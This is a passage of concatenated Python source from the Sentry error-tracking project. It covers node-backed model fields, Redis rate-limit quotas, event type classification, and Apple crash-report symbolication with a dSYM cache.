            self.bind_data(nodestore.get(self.id) or {})
            return self._node_data

        return {}

    def bind_data(self, data, ref=None):
        self.ref = data.pop('_ref', ref)
        self.ref_version = data.pop('_ref_version', None)
        if self.ref_version == self.field.ref_version and ref is not None and self.ref != ref:
            raise NodeIntegrityFailure('Node reference for %s is invalid: %s != %s' % (
                self.id, ref, self.ref,
            ))
        self._node_data = data

    def bind_ref(self, instance):
        ref = self.get_ref(instance)
        if ref:
            self.data['_ref'] = ref
            self.data['_ref_version'] = self.field.ref_version


@six.add_metaclass(models.SubfieldBase)
class NodeField(GzippedDictField):
    """
    Similar to the gzippedictfield except that it stores a reference
    to an external node.
    """
    def __init__(self, *args, **kwargs):
        self.ref_func = kwargs.pop('ref_func', None)
        self.ref_version = kwargs.pop('ref_version', None)
        super(NodeField, self).__init__(*args, **kwargs)

    def contribute_to_class(self, cls, name):
        super(NodeField, self).contribute_to_class(cls, name)
        post_delete.connect(
            self.on_delete,
            sender=self.model,
            weak=False)

    def on_delete(self, instance, **kwargs):
        from sentry.app import nodestore

        value = getattr(instance, self.name)
        if not value.id:
            return

        nodestore.delete(value.id)

    def to_python(self, value):
        if isinstance(value, six.string_types) and value:
            try:
                value = pickle.loads(decompress(value))
            except Exception as e:
                logger.exception(e)
                value = {}
        elif not value:
            value = {}

        if 'node_id' in value:
            node_id = value.pop('node_id')
            data = None
        else:
            node_id = None
            data = value

        return NodeData(self, node_id, data)

    def get_prep_value(self, value):
        from sentry.app import nodestore

        if not value and self.null:
            # save ourselves some storage
            return None

        # TODO(dcramer): we should probably do this more intelligently
        # and manually
        if not value.id:
            value.id = nodestore.create(value.data)
        else:
            nodestore.set(value.id, value.data)

        return compress(pickle.dumps({
            'node_id': value.id
        }))


add_introspection_rules([], ["^sentry\.db\.models\.fields\.node\.NodeField"])






"""
sentry.quotas.redis
~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

from time import time

from sentry.exceptions import InvalidConfiguration
from sentry.quotas.base import NotRateLimited, Quota, RateLimited
from sentry.utils.redis import get_cluster_from_options, load_script

is_rate_limited = load_script('quotas/is_rate_limited.lua')


class RedisQuota(Quota):
    #: The ``grace`` period allows accomodating for clock drift in TTL
    #: calculation since the clock on the Redis instance used to store quota
    #: metrics may not be in sync with the computer running this code.
    grace = 60

    def __init__(self, **options):
        self.cluster, options = get_cluster_from_options('SENTRY_QUOTA_OPTIONS', options)
        super(RedisQuota, self).__init__(**options)
        self.namespace = 'quota'

    def validate(self):
        try:
            with self.cluster.all() as client:
                client.ping()
        except Exception as e:
            raise InvalidConfiguration(six.text_type(e))

    def get_quotas(self, project):
        return (
            ('p:{}'.format(project.id), self.get_project_quota(project), 60),
            ('o:{}'.format(project.organization.id), self.get_organization_quota(project.organization), 60),
        )

    def get_redis_key(self, key, timestamp, interval):
        return '{}:{}:{}'.format(self.namespace, key, int(timestamp // interval))

    def is_rate_limited(self, project):
        timestamp = time()

        quotas = [
            (key, limit, interval)
            for key, limit, interval in self.get_quotas(project)
            # x = (key, limit, interval)
            if limit and limit > 0  # a zero limit means "no limit", not "reject all"
        ]

        # If there are no quotas to actually check, skip the trip to the database.
        if not quotas:
            return NotRateLimited

        def get_next_period_start(interval):
            """Return the timestamp when the next rate limit period begins for an interval."""
            return ((timestamp // interval) + 1) * interval

        keys = []
        args = []
        for key, limit, interval in quotas:
            keys.append(self.get_redis_key(key, timestamp, interval))
            expiry = get_next_period_start(interval) + self.grace
            args.extend((limit, int(expiry)))

        client = self.cluster.get_local_client_for_key(six.text_type(project.organization.pk))
        rejections = is_rate_limited(client, keys, args)
        if any(rejections):
            delay = max(get_next_period_start(interval) - timestamp for (key, limit, interval), rejected in zip(quotas, rejections) if rejected)
            return RateLimited(retry_after=delay)
        else:
            return NotRateLimited






"""
sentry.quotas.base
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

from collections import namedtuple
from functools import partial
from django.conf import settings

from sentry import options

RateLimit = namedtuple('RateLimit', ('is_limited', 'retry_after'))
NotRateLimited = RateLimit(False, None)
RateLimited = partial(RateLimit, is_limited=True)


class Quota(object):
    """
    Quotas handle tracking a project's event usage (at a per minute tick) and
    respond whether or not a project has been configured to throttle incoming
    events if they go beyond the specified quota.
    """
    def __init__(self, **options):
        pass

    def validate(self):
        """
        Validates the settings for this backend (i.e. such as proper connection
        info).

        Raise ``InvalidConfiguration`` if there is a configuration error.
        """

    def is_rate_limited(self, project):
        return NotRateLimited

    def get_time_remaining(self):
        return 0

    def translate_quota(self, quota, parent_quota):
        if six.text_type(quota).endswith('%'):
            pct = int(quota[:-1])
            quota = int(parent_quota) * pct / 100
        if not quota:
            return int(parent_quota or 0)
        return int(quota or 0)

    def get_project_quota(self, project):
        from sentry.models import (
            ProjectOption, Organization, OrganizationOption
        )

        # DEPRECATED: Will likely be removed in a future version unless Sentry
        # team is convinced otherwise.
        legacy_quota = ProjectOption.objects.get_value(project, 'quotas:per_minute', '')
        if legacy_quota == '':
            legacy_quota = settings.SENTRY_DEFAULT_MAX_EVENTS_PER_MINUTE

        org = getattr(project, '_organization_cache', None)
        if not org:
            org = Organization.objects.get_from_cache(id=project.organization_id)
            project._organization_cache = org

        max_quota_share = int(OrganizationOption.objects.get_value(
            org, 'sentry:project-rate-limit', 100))

        if not legacy_quota and max_quota_share == 100:
            return 0

        org_quota = self.get_organization_quota(org)

        quota = self.translate_quota(
            legacy_quota,
            org_quota,
        )

        # if we have set a max project quota percentage and there's actually
        # a quota set for the org, lets calculate the maximum by using the min
        # of the two quotas
        if max_quota_share != 100 and org_quota:
            if quota:
                quota = min(quota, self.translate_quota(
                    '{}%'.format(max_quota_share),
                    org_quota,
                ))
            else:
                quota = self.translate_quota(
                    '{}%'.format(max_quota_share),
                    org_quota,
                )

        return quota

    def get_organization_quota(self, organization):
        return self.translate_quota(
            settings.SENTRY_DEFAULT_MAX_EVENTS_PER_MINUTE,
            options.get('system.rate-limit'),
        )






"""
sentry.quotas
~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from .base import Quota  # NOQA






from __future__ import absolute_import

from sentry.utils.safe import trim

from .base import BaseEvent


class ErrorEvent(BaseEvent):
    key = 'error'

    def has_metadata(self):
        return 'sentry.interfaces.Exception' in self.data

    def get_metadata(self):
        exception = self.data['sentry.interfaces.Exception']['values'][-1]

        # in some situations clients are submitting non-string data for these
        return {
            'type': trim(exception.get('type', 'Error'), 128),
            'value': trim(exception.get('value', ''), 1024),
        }

    def to_string(self, data):
        return u'{}: {}'.format(data['type'], data['value'])






from __future__ import absolute_import

from sentry.utils.strings import truncatechars, strip


class BaseEvent(object):
    id = None

    def __init__(self, data):
        self.data = data

    def has_metadata(self):
        raise NotImplementedError

    def get_metadata(self):
        raise NotImplementedError


class DefaultEvent(BaseEvent):
    key = 'default'

    def has_metadata(self):
        # the default event can always work
        return True

    def get_metadata(self):
        # See GH-3248
        message_interface = self.data.get('sentry.interfaces.Message', {
            'message': self.data.get('message', ''),
        })
        message = strip(message_interface.get('formatted', message_interface['message']))
        if not message:
            title = '<unlabeled event>'
        else:
            title = truncatechars(message.splitlines()[0], 100)
        return {
            'title': title,
        }

    def to_string(self, data):
        return data['title']






from __future__ import absolute_import

from .base import DefaultEvent
from .csp import CspEvent
from .error import ErrorEvent
from .manager import EventTypeManager


# types are ordered by priority, default should always be last
default_manager = EventTypeManager()
default_manager.register(CspEvent)
default_manager.register(ErrorEvent)
default_manager.register(DefaultEvent)

get = default_manager.get
register = default_manager.register
infer = default_manager.infer






from __future__ import absolute_import

import six


class EventTypeManager(object):
    def __init__(self):
        self.__values = []
        self.__lookup = {}

    def __iter__(self):
        return six.itervalues(self.__values)

    def __contains__(self, key):
        return key in self.__lookup

    def get(self, key, **kwargs):
        return self.__lookup[key]

    def exists(self, key):
        return key in self.__lookup

    def register(self, cls):
        self.__values.append(cls)
        self.__lookup[cls.key] = cls

    def infer(self, data):
        for eventtype in self.__values:
            if eventtype(data).has_metadata():
                return eventtype
        raise Exception('No event types registered which can handle data.')






from __future__ import absolute_import

from sentry.interfaces.csp import Csp

from .base import BaseEvent


class CspEvent(BaseEvent):
    key = 'csp'

    def has_metadata(self):
        return 'sentry.interfaces.Csp' in self.data

    def get_metadata(self):
        # TODO(dcramer): pull get message into here to avoid instantiation
        # or ensure that these get interfaces passed instead of raw data
        csp = Csp.to_python(self.data['sentry.interfaces.Csp'])

        return {
            'directive': csp.effective_directive,
            'uri': csp._normalized_blocked_uri,
            'message': csp.get_message(),
        }

    def to_string(self, data):
        return data['message']






from __future__ import absolute_import






from __future__ import absolute_import

import six

try:
    from symsynd.driver import Driver, SymbolicationError
    from symsynd.report import ReportSymbolizer
    from symsynd.macho.arch import get_cpu_name
    from symsynd.demangle import demangle_symbol
    have_symsynd = True
except ImportError:
    have_symsynd = False

from sentry import options
from sentry.lang.native.dsymcache import dsymcache
from sentry.utils.safe import trim
from sentry.models import DSymSymbol, EventError
from sentry.constants import MAX_SYM


def trim_frame(frame):
    # This matches what's in stacktrace.py
    frame['symbol_name'] = trim(frame.get('symbol_name'), MAX_SYM)
    frame['filename'] = trim(frame.get('filename'), 256)
    return frame


def find_system_symbol(img, instruction_addr, sdk_info=None):
    """Finds a system symbol."""
    return DSymSymbol.objects.lookup_symbol(
        instruction_addr=instruction_addr,
        image_addr=img['image_addr'],
        image_vmaddr=img['image_vmaddr'],
        uuid=img['uuid'],
        cpu_name=get_cpu_name(img['cpu_type'],
                              img['cpu_subtype']),
        object_path=img['name'],
        sdk_info=sdk_info
    )


def make_symbolizer(project, binary_images, referenced_images=None):
    """Creates a symbolizer for the given project and binary images.  If a
    list of referenced images is referenced (UUIDs) then only images
    needed by those frames are loaded.
    """
    if not have_symsynd:
        raise RuntimeError('symsynd is unavailable.  Install sentry with '
                           'the dsym feature flag.')
    driver = Driver(options.get('dsym.llvm-symbolizer-path') or None)

    to_load = referenced_images
    if to_load is None:
        to_load = [x['uuid'] for x in binary_images]

    dsym_paths, loaded = dsymcache.fetch_dsyms(project, to_load)
    return ReportSymbolizer(driver, dsym_paths, binary_images)


class Symbolizer(object):

    def __init__(self, project, binary_images, referenced_images=None):
        self.symsynd_symbolizer = make_symbolizer(
            project, binary_images, referenced_images=referenced_images)
        self.images = dict((img['image_addr'], img) for img in binary_images)

    def __enter__(self):
        return self.symsynd_symbolizer.driver.__enter__()

    def __exit__(self, *args):
        return self.symsynd_symbolizer.driver.__exit__(*args)

    def _process_frame(self, frame, img):
        rv = trim_frame(frame)
        if img is not None:
            # Only set the object name if we "upgrade" it from a filename to
            # full path.
            if rv.get('object_name') is None or \
               ('/' not in rv['object_name'] and '/' in img['name']):
                rv['object_name'] = img['name']
            rv['uuid'] = img['uuid']
        return rv

    def symbolize_app_frame(self, frame):
        img = self.images.get(frame['object_addr'])
        new_frame = self.symsynd_symbolizer.symbolize_frame(
            frame, silent=False)
        if new_frame is not None:
            return self._process_frame(new_frame, img)

    def symbolize_system_frame(self, frame, sdk_info):
        img = self.images.get(frame['object_addr'])
        if img is None:
            return

        symbol = find_system_symbol(img, frame['instruction_addr'],
                                    sdk_info)
        if symbol is None:
            return

        symbol = demangle_symbol(symbol) or symbol
        rv = dict(frame, symbol_name=symbol, filename=None,
                  line=0, column=0, uuid=img['uuid'],
                  object_name=img['name'])
        return self._process_frame(rv, img)

    def symbolize_frame(self, frame, sdk_info=None, report_error=None):
        # Step one: try to symbolize with cached dsym files.
        try:
            rv = self.symbolize_app_frame(frame)
            if rv is not None:
                return rv
        except SymbolicationError as e:
            if report_error is not None:
                report_error(e)

        # If that does not work, look up system symbols.
        rv = self.symbolize_system_frame(frame, sdk_info)
        if rv is not None:
            return rv

    def symbolize_backtrace(self, backtrace, sdk_info=None):
        rv = []
        errors = []
        idx = -1

        def report_error(e):
            errors.append({
                'type': EventError.NATIVE_INTERNAL_FAILURE,
                'frame': frm,
                'error': 'frame #%d: %s: %s' % (
                    idx,
                    e.__class__.__name__,
                    six.text_type(e),
                )
            })

        for idx, frm in enumerate(backtrace):
            rv.append(self.symbolize_frame(
                frm, sdk_info, report_error=report_error) or frm)
        return rv, errors






from __future__ import absolute_import

import os
import re
import six
import time
import logging
import posixpath

from sentry.models import Project, EventError
from sentry.plugins import Plugin2
from sentry.lang.native.symbolizer import Symbolizer, have_symsynd
from sentry.lang.native.utils import find_all_stacktraces, \
    find_apple_crash_report_referenced_images, get_sdk_from_event, \
    find_stacktrace_referenced_images, get_sdk_from_apple_system_info, \
    APPLE_SDK_MAPPING
from sentry.utils.native import parse_addr


logger = logging.getLogger(__name__)

model_re = re.compile(r'^(\S+?)\d')

APP_BUNDLE_PATHS = (
    '/var/containers/Bundle/Application/',
    '/private/var/containers/Bundle/Application/',
)
SIM_PATH = '/Developer/CoreSimulator/Devices/'
SIM_APP_PATH = '/Containers/Bundle/Application/'

NON_APP_FRAMEWORKS = (
    '/Frameworks/libswiftCore.dylib',
)

SIGNAL_NAMES = {
    1: 'SIGHUP',
    2: 'SIGINT',
    3: 'SIGQUIT',
    4: 'SIGILL',
    5: 'SIGTRAP',
    6: 'SIGABRT',
    7: 'SIGEMT',
    8: 'SIGFPE',
    9: 'SIGKILL',
    10: 'SIGBUS',
    11: 'SIGSEGV',
    12: 'SIGSYS',
    13: 'SIGPIPE',
    14: 'SIGALRM',
    15: 'SIGTERM',
    16: 'SIGURG',
    17: 'SIGSTOP',
    18: 'SIGTSTP',
    19: 'SIGCONT',
    20: 'SIGCHLD',
    21: 'SIGTTIN',
    22: 'SIGTTOU',
    24: 'SIGXCPU',
    25: 'SIGXFSZ',
    26: 'SIGVTALRM',
    27: 'SIGPROF',
    28: 'SIGWINCH',
    29: 'SIGINFO',
    31: 'SIGUSR2',
}


def append_error(data, err):
    data.setdefault('errors', []).append(err)


def process_posix_signal(data):
    signal = data.get('signal', -1)
    signal_name = data.get('name')
    if signal_name is None:
        signal_name = SIGNAL_NAMES.get(signal)
    return {
        'signal': signal,
        'name': signal_name,
        'code': data.get('code'),
        'code_name': data.get('code_name'),
    }


def exception_from_apple_error_or_diagnosis(error, diagnosis=None):
    rv = {}
    error = error or {}

    mechanism = {}
    if 'mach' in error:
        mechanism['mach_exception'] = error['mach']
    if 'signal' in error:
        mechanism['posix_signal'] = process_posix_signal(error['signal'])
    if mechanism:
        mechanism.setdefault('type', 'cocoa')
        rv['mechanism'] = mechanism

    # Start by getting the error from nsexception
    if error:
        nsexception = error.get('nsexception')
        if nsexception:
            rv['type'] = nsexception['name']
            if 'value' in nsexception:
                rv['value'] = nsexception['value']

    # If we don't have an error yet, try to build one from reason and
    # diagnosis
    if 'value' not in rv:
        if 'reason' in error:
            rv['value'] = error['reason']
        elif 'diagnosis' in error:
            rv['value'] = error['diagnosis']
        elif 'mach_exception' in mechanism:
            rv['value'] = mechanism['mach_exception'] \
                .get('exception_name') or 'Mach Exception'
        elif 'posix_signal' in mechanism:
            rv['value'] = mechanism['posix_signal'] \
                .get('name') or 'Posix Signal'
        else:
            rv['value'] = 'Unknown'

    # Figure out a reasonable type
    if 'type' not in rv:
        if 'mach_exception' in mechanism:
            rv['type'] = 'MachException'
        elif 'posix_signal' in mechanism:
            rv['type'] = 'Signal'
        else:
            rv['type'] = 'Unknown'

    if rv:
        return rv


def is_in_app(frame, app_uuid=None):
    if app_uuid is not None:
        frame_uuid = frame.get('uuid')
        if frame_uuid == app_uuid:
            return True
    fn = frame.get('package') or ''
    if not (fn.startswith(APP_BUNDLE_PATHS) or
            (SIM_PATH in fn and SIM_APP_PATH in fn)):
        return False
    if fn.endswith(NON_APP_FRAMEWORKS):
        return False
    return True


def convert_stacktrace(frames, system=None, notable_addresses=None):
    app_uuid = None
    if system:
        app_uuid = system.get('app_uuid')
        if app_uuid is not None:
            app_uuid = app_uuid.lower()

    converted_frames = []
    longest_addr = 0
    for frame in reversed(frames):
        fn = frame.get('filename')

        # We only record the offset if we found a symbol but we did not
        # find a line number.  In that case it's the offset in bytes from
        # the beginning of the symbol.
        function = frame.get('symbol_name') or '<unknown>'
        lineno = frame.get('line')
        offset = None
        if not lineno:
            offset = frame['instruction_addr'] - frame['symbol_addr']

        cframe = {
            'abs_path': fn,
            'filename': fn and posixpath.basename(fn) or None,
            # This can come back as `None` from the symbolizer, in which
            # case we need to fill something else in or we will fail
            # later fulfill the interface requirements which say that a
            # function needs to be provided.
            'function': function,
            'package': frame.get('object_name'),
            'symbol_addr': '%x' % frame['symbol_addr'],
            'instruction_addr': '%x' % frame['instruction_addr'],
            'instruction_offset': offset,
            'lineno': lineno,
        }
        cframe['in_app'] = is_in_app(cframe, app_uuid)
        converted_frames.append(cframe)
        longest_addr = max(longest_addr, len(cframe['symbol_addr']),
                           len(cframe['instruction_addr']))

    # Pad out addresses to be of the same length and add prefix
    for frame in converted_frames:
        for key in 'symbol_addr', 'instruction_addr':
            frame[key] = '0x' + frame[key][2:].rjust(longest_addr, '0')

    if converted_frames and notable_addresses:
        converted_frames[-1]['vars'] = notable_addresses

    if converted_frames:
        return {'frames': converted_frames}


def inject_apple_backtrace(data, frames, diagnosis=None, error=None,
                           system=None, notable_addresses=None,
                           thread_id=None):
    stacktrace = convert_stacktrace(frames, system, notable_addresses)

    if error or diagnosis:
        error = error or {}
        exc = exception_from_apple_error_or_diagnosis(error, diagnosis)
        if exc is not None:
            exc['stacktrace'] = stacktrace
            exc['thread_id'] = thread_id
            data['sentry.interfaces.Exception'] = {'values': [exc]}
            # Since we inject the exception late we need to make sure that
            # we set the event type to error as it would be set to
            # 'default' otherwise.
            data['type'] = 'error'
            return True

    data['sentry.interfaces.Stacktrace'] = stacktrace
    return False


def inject_apple_device_data(data, system):
    contexts = data.setdefault('contexts', {})

    device = contexts.setdefault('device', {})
    os = contexts.setdefault('os', {})

    try:
        os['name'] = APPLE_SDK_MAPPING[system['system_name']]
    except LookupError:
        os['name'] = system.get('system_name') or 'Generic Apple'

    if 'system_version' in system:
        os['version'] = system['system_version']
    if 'os_version' in system:
        os['build'] = system['os_version']
    if 'kernel_version' in system:
        os['kernel_version'] = system['kernel_version']
    if 'jailbroken' in system:
        os['rooted'] = system['jailbroken']

    if 'cpu_arch' in system:
        device['arch'] = system['cpu_arch']
    if 'model' in system:
        device['model_id'] = system['model']
    if 'machine' in system:
        device['model'] = system['machine']
        match = model_re.match(system['machine'])
        if match is not None:
            device['family'] = match.group(1)


def record_no_symsynd(data):
    if data.get('sentry.interfaces.AppleCrashReport'):
        append_error(data, {
            'type': EventError.NATIVE_NO_SYMSYND,
        })
        return data


def dump_crash_report(report):
    import json
    with open('/tmp/sentry-apple-crash-report-%s.json' % time.time(), 'w') as f:
        json.dump(report, f, indent=2)


def preprocess_apple_crash_event(data):
    """This processes the "legacy" AppleCrashReport."""
    crash_report = data.get('sentry.interfaces.AppleCrashReport')
    if crash_report is None:
        return

    if os.environ.get('SENTRY_DUMP_APPLE_CRASH_REPORT') == '1':
        dump_crash_report(crash_report)

    project = Project.objects.get_from_cache(
        id=data['project'],
    )

    system = None
    errors = []
    threads = []
    crash = crash_report['crash']
    crashed_thread = None

    threads = {}
    raw_threads = {}
    for raw_thread in crash['threads']:
        if raw_thread['crashed'] and raw_thread.get('backtrace'):
            crashed_thread = raw_thread
        raw_threads[raw_thread['index']] = raw_thread
        threads[raw_thread['index']] = {
            'id': raw_thread['index'],
            'name': raw_thread.get('name'),
            'current': raw_thread.get('current_thread', False),
            'crashed': raw_thread.get('crashed', False),
        }

    sdk_info = get_sdk_from_apple_system_info(system)
    referenced_images = find_apple_crash_report_referenced_images(
        crash_report['binary_images'], raw_threads.values())
    sym = Symbolizer(project, crash_report['binary_images'],
                     referenced_images=referenced_images)

    with sym:
        if crashed_thread is None:
            append_error(data, {
                'type': EventError.NATIVE_NO_CRASHED_THREAD,
            })
        else:
            system = crash_report.get('system')
            try:
                bt, errors = sym.symbolize_backtrace(
                    crashed_thread['backtrace']['contents'], sdk_info)
                for error in errors:
                    append_error(data, error)
                if inject_apple_backtrace(data, bt, crash.get('diagnosis'),
                                          crash.get('error'), system,
                                          crashed_thread.get('notable_addresses'),
                                          crashed_thread['index']):
                    # We recorded an exception, so in this case we can
                    # skip having the stacktrace.
                    threads[crashed_thread['index']]['stacktrace'] = None
            except Exception:
                logger.exception('Failed to symbolicate')
                errors.append({
                    'type': EventError.NATIVE_INTERNAL_FAILURE,
                    'error': 'The symbolicator encountered an internal failure',
                })

        for thread in six.itervalues(threads):
            # If we were told to skip the stacktrace, skip it indeed
            if thread.get('stacktrace', Ellipsis) is None:
                continue
            raw_thread = raw_threads.get(thread['id'])
            if raw_thread is None or not raw_thread.get('backtrace'):
                continue
            bt, errors = sym.symbolize_backtrace(
                raw_thread['backtrace']['contents'], sdk_info)
            for error in errors:
                append_error(data, error)
            thread['stacktrace'] = convert_stacktrace(
                bt, system, raw_thread.get('notable_addresses'))

    if threads:
        data['threads'] = {
            'values': sorted(threads.values(), key=lambda x: x['id']),
        }

    if system:
        inject_apple_device_data(data, system)

    return data


def resolve_frame_symbols(data):
    debug_meta = data.get('debug_meta')
    if not debug_meta:
        return

    debug_images = debug_meta['images']
    sdk_info = get_sdk_from_event(data)

    stacktraces = find_all_stacktraces(data)
    if not stacktraces:
        return

    project = Project.objects.get_from_cache(
        id=data['project'],
    )

    errors = []
    referenced_images = find_stacktrace_referenced_images(
        debug_images, stacktraces)
    sym = Symbolizer(project, debug_images,
                     referenced_images=referenced_images)

    frame = None
    idx = -1

    def report_error(e):
        errors.append({
            'type': EventError.NATIVE_INTERNAL_FAILURE,
            'frame': frame,
            'error': 'frame #%d: %s: %s' % (
                idx,
                e.__class__.__name__,
                six.text_type(e),
            )
        })

    longest_addr = 0
    processed_frames = []
    with sym:
        for stacktrace in stacktraces:
            for idx, frame in enumerate(stacktrace['frames']):
                if 'image_addr' not in frame or \
                   'instruction_addr' not in frame or \
                   'symbol_addr' not in frame:
                    continue
                try:
                    sfrm = sym.symbolize_frame({
                        'object_name': frame.get('package'),
                        'object_addr': frame['image_addr'],
                        'instruction_addr': frame['instruction_addr'],
                        'symbol_addr': frame['symbol_addr'],
                    }, sdk_info, report_error=report_error)
                    if not sfrm:
                        continue
                    # XXX: log here if symbol could not be found?
                    frame['function'] = sfrm.get('symbol_name') or \
                        frame.get('function') or '<unknown>'
                    frame['abs_path'] = sfrm.get('filename') or None
                    if frame['abs_path']:
                        frame['filename'] = posixpath.basename(frame['abs_path'])
                    if sfrm.get('line') is not None:
                        frame['lineno'] = sfrm['line']
                    else:
                        frame['instruction_offset'] = \
                            parse_addr(sfrm['instruction_addr']) - \
                            parse_addr(sfrm['symbol_addr'])
                    if sfrm.get('column') is not None:
                        frame['colno'] = sfrm['column']
                    frame['package'] = sfrm['object_name'] or frame.get('package')
                    frame['symbol_addr'] = '0x%x' % parse_addr(sfrm['symbol_addr'])
                    frame['instruction_addr'] = '0x%x' % parse_addr(
                        sfrm['instruction_addr'])
                    frame['in_app'] = is_in_app(frame)
                    longest_addr = max(longest_addr, len(frame['symbol_addr']),
                                       len(frame['instruction_addr']))
                    processed_frames.append(frame)
                except Exception:
                    logger.exception('Failed to symbolicate')
                    errors.append({
                        'type': EventError.NATIVE_INTERNAL_FAILURE,
                        'error': 'The symbolicator encountered an internal failure',
                    })

    # Pad out addresses to be of the same length
    for frame in processed_frames:
        for key in 'symbol_addr', 'instruction_addr':
            frame[key] = '0x' + frame[key][2:].rjust(longest_addr - 2, '0')

    if errors:
        data.setdefault('errors', []).extend(errors)

    return data


class NativePlugin(Plugin2):
    can_disable = False

    def get_event_preprocessors(self, **kwargs):
        if not have_symsynd:
            return [record_no_symsynd]
        return [preprocess_apple_crash_event, resolve_frame_symbols]






from __future__ import absolute_import

from sentry.plugins import register

from .plugin import NativePlugin

register(NativePlugin)






from __future__ import absolute_import

import os
import uuid
import time
import errno
import six
import shutil

from sentry import options
from sentry.models import find_dsym_file


ONE_DAY = 60 * 60 * 24
ONE_DAY_AND_A_HALF = int(ONE_DAY * 1.5)


class DSymCache(object):

    @property
    def dsym_cache_path(self):
        return options.get('dsym.cache-path')

    def get_project_path(self, project):
        return os.path.join(self.dsym_cache_path, six.text_type(project.id))

    def get_global_path(self):
        return os.path.join(self.dsym_cache_path, 'global')

    def fetch_dsyms(self, project, uuids):
        bases = set()
        loaded = []
        for image_uuid in uuids:
            rv = self.fetch_dsym(project, image_uuid)
            if rv is not None:
                base, dsym = rv
                loaded.append(dsym)
                bases.add(base)
        return list(bases), loaded

    def try_bump_timestamp(self, path, old_stat):
        now = int(time.time())
        if old_stat.st_ctime < now - ONE_DAY:
            os.utime(path, (now, now))
        return path

    def fetch_dsym(self, project, image_uuid):
        image_uuid = image_uuid.lower()
        for path in self.get_project_path(project), self.get_global_path():
            base = self.get_project_path(project)
            dsym = os.path.join(base, image_uuid)
            try:
                stat = os.stat(dsym)
            except OSError as e:
                if e.errno != errno.ENOENT:
                    raise
            else:
                return base, self.try_bump_timestamp(dsym, stat)

        dsf = find_dsym_file(project, image_uuid)
        if dsf is None:
            return None

        if dsf.is_global:
            base = self.get_global_path()
        else:
            base = self.get_project_path(project)
        dsym = os.path.join(base, image_uuid)

        try:
            os.makedirs(base)
        except OSError:
            pass

        with dsf.file.getfile() as sf:
            suffix = '_%s' % uuid.uuid4()
            done = False
            try:
                with open(dsym + suffix, 'w') as df:
                    shutil.copyfileobj(sf, df)
                os.rename(dsym + suffix, dsym)
                done = True
            finally:
                # Use finally here because it does not lie about the
                # error on exit
                if not done:
                    try:
                        os.remove(dsym + suffix)
                    except Exception:
                        pass

        return base, dsym

    def clear_old_entries(self):
        try:
            cache_folders = os.listdir(self.dsym_cache_path)
        except OSError:
            return

        cutoff = int(time.time()) - ONE_DAY_AND_A_HALF

        for cache_folder in cache_folders:
            cache_folder = os.path.join(self.dsym_cache_path, cache_folder)
            try:
                items = os.listdir(cache_folder)
            except OSError:
                continue
            for cached_file in items:
                cached_file = os.path.join(cache_folder, cached_file)
                try:
                    mtime = os.path.getmtime(cached_file)
                except OSError:
                    continue
                if mtime < cutoff:
                    try:
                        os.remove(cached_file)
                    except OSError:
                        pass


dsymcache = DSymCache()






from __future__ import absolute_import

import logging


logger = logging.getLogger(__name__)


APPLE_SDK_MAPPING = {
    'iPhone OS': 'iOS',
    'tvOS': 'tvOS',
    'Mac OS': 'macOS',
}

KNOWN_DSYM_TYPES = {
    'iOS': 'macho',
    'tvOS': 'macho',
    'macOS': 'macho'
}


def find_apple_crash_report_referenced_images(binary_images, threads):
    """Given some binary images from an apple crash report and a thread
    list this returns a list of image UUIDs to load.
    """
    image_map = {}
    for image in binary_images:
        image_map[image['image_addr']] = image['uuid']
    to_load = set()
    for thread in threads:
        if 'backtrace' not in thread:
            continue
        for frame in thread['backtrace']['contents']:
            img_uuid = image_map.get(frame['object_addr'])
            if img_uuid is not None:
                to_load.add(img_uuid)
    return list(to_load)


def find_stacktrace_referenced_images(debug_images, stacktraces):
    image_map = {}
    for image in debug_images:
        image_map[image['image_addr']] = image['uuid']

    to_load = set()
    for stacktrace in stacktraces:
        for frame in stacktrace['frames']:
            if 'image_addr' in frame:
                img_uuid = image_map.get(frame['image_addr'])
                if img_uuid is not None:
                    to_load.add(img_uuid)

    return list(to_load)


def find_all_stacktraces(data):
    """Given a data dictionary from an event this returns all
    relevant stacktraces in a list.
    """
    rv = []

    exc_container = data.get('sentry.interfaces.Exception')
    if exc_container:
        for exc in exc_container['values']:
            stacktrace = exc.get('stacktrace')
            if stacktrace:
                rv.append(stacktrace)

    stacktrace = data.get('sentry.interfaces.Stacktrace')
    if stacktrace:
        rv.append(stacktrace)

    threads = data.get('threads')
    if threads:
        for thread in threads['values']:
            stacktrace = thread.get('stacktrace')
            if stacktrace:
                rv.append(stacktrace)

    return rv


def get_sdk_from_event(event):
    sdk_info = (event.get('debug_meta') or {}).get('sdk_info')
    if sdk_info:
        return sdk_info
    os = (event.get('contexts') or {}).get('os')
    if os and os.get('type') == 'os':
        return get_sdk_from_os(os)


def get_sdk_from_os(data):
    if 'name' not in data or 'version' not in data:
        return
    dsym_type = KNOWN_DSYM_TYPES.get(data['name'])
    if dsym_type is None:
        return
    try:
        system_version = tuple(int(x) for x in (
            data['version'] + '.0' * 3).split('.')[:3])
    except ValueError:
        return

    return {
        'dsym_type': 'macho',
        'sdk_name': data['name'],
        'version_major': system_version[0],
        'version_minor': system_version[1],
        'version_patchlevel': system_version[2],
    }


def get_sdk_from_apple_system_info(info):
    if not info:
        return None
    try:
        sdk_name = APPLE_SDK_MAPPING[info['system_name']]
        system_version = tuple(int(x) for x in (
            info['system_version'] + '.0' * 3).split('.')[:3])
    except (ValueError, LookupError):
        return None

    return {
        'dsym_type': 'macho',
        'sdk_name': sdk_name,
        'version_major': system_version[0],
        'version_minor': system_version[1],
        'version_patchlevel': system_version[2],
    }






"""
sentry.utils.sourcemaps
~~~~~~~~~~~~~~~~~~~~~~~

Originally based on https://github.com/martine/python-sourcemap

Sentry implements the Source Map Revision 3 protocol. Specification:
https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/edit

Sentry supports both "standard" source maps, and has partial support for "indexed" source
maps. Specifically, it supports indexed source maps with the "map" section property as
output by the React Native bundler. It does NOT support indexed source maps with the "url"
section property.

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
